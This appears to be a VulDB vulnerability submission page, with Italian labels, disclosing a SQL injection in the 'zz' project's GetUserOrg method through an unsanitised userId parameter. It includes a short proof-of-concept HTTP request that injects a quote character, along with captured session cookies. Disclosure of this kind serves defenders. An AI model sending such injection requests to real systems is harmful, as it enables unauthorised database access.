| Titolo | zz 2024-08 sql injection |
|---|
| Descrizione | At the project's login, enter the GetUserOrg method by passing the userId parameter,Then concatenate the userId parameter, Cause sql injection vulnerability.
poc:
GET /getUserOrgForUserId?userId=sa' HTTP/1.1
Host: localhost:8080
Sec-Fetch-Mode: cors
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1724814965; ujcms-visit-unique-visitor=3997217217705102; ujcms-unique-visitor=4539723231056234169; Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a=1713171277; Idea-4b96ed7=5c2df2cb-4540-48a7-adcc-0f2a09247ea9; Hm_lvt_a1ff8825baa73c3a78eb96aa40325abc=1715231748; _jspxcms=ebe6166343624eba94b9862f0f0107c8; rememberMe=e3WZECQymHU3Et3sCRiDv02H8juIn6nz/f98NMAr4HwpEr20Xo+5GMe8u2Eu7l/00hljiiOWnbopwAfyF7wxlMzhgTwxHukH6VJ/Ub8IYK2pWhJ6nkkUjNzzcAPeU6aWOUJqA91r7yoCBT8Cc3NgFSS87mYIZQck3RH6rx2bPVEtj+KyM0nlfH/QNGDwmDi3d5gB0t6g3LRgpaohXvZbRWtw+BDKSziOG4irR5vC8GPLpZYiWMegLMRmZhzAxKyVnG+hqML+o/N1YoQRRyjaGlRkPNImS+qguMJvEeoMQgJy+MhACGUFtbA7xFy+5XG7uOxDFF3Gh2A1oPgcNk6PsU/ngGWrqSNuqlbiJlD/q9A25enmoPB47mXBcX23CpCghA4G2pQBZ0ZzJ5WycZGaXoI3Fiz2RSWIRs4vFLANiLMgSeN0NRnw7QvUTuD81ajEee04XKaDUZbVAr2vMOXrdsoiMaEHO1Oa3tdrp911fT+ZvtJhJRTDWjJVsxaX+rB/; Hm_lvt_20766a1a5bc02124297ce7be22ff84b1=1737435462; JSESSIONID=94F9F80DA406AAE525178BE3EA4AF67B
Accept-Encoding: gzip, deflate, br, zstd
Priority: u=1
Accept: /
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
|
|---|
| Fonte | ⚠️ https://github.com/A7cc/cve/issues/3 |
|---|
| Utente | a7cc (UID 81317) |
|---|
| Sottomissione | 20/02/2025 07:22 (1 Anno fa) |
|---|
| Moderazione | 01/03/2025 10:13 (9 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 298080 [zj1983 zz fino a 2024-08 SuperZ.java GetUserOrg userId iniezione SQL] |
|---|
| Punti | 19 |
|---|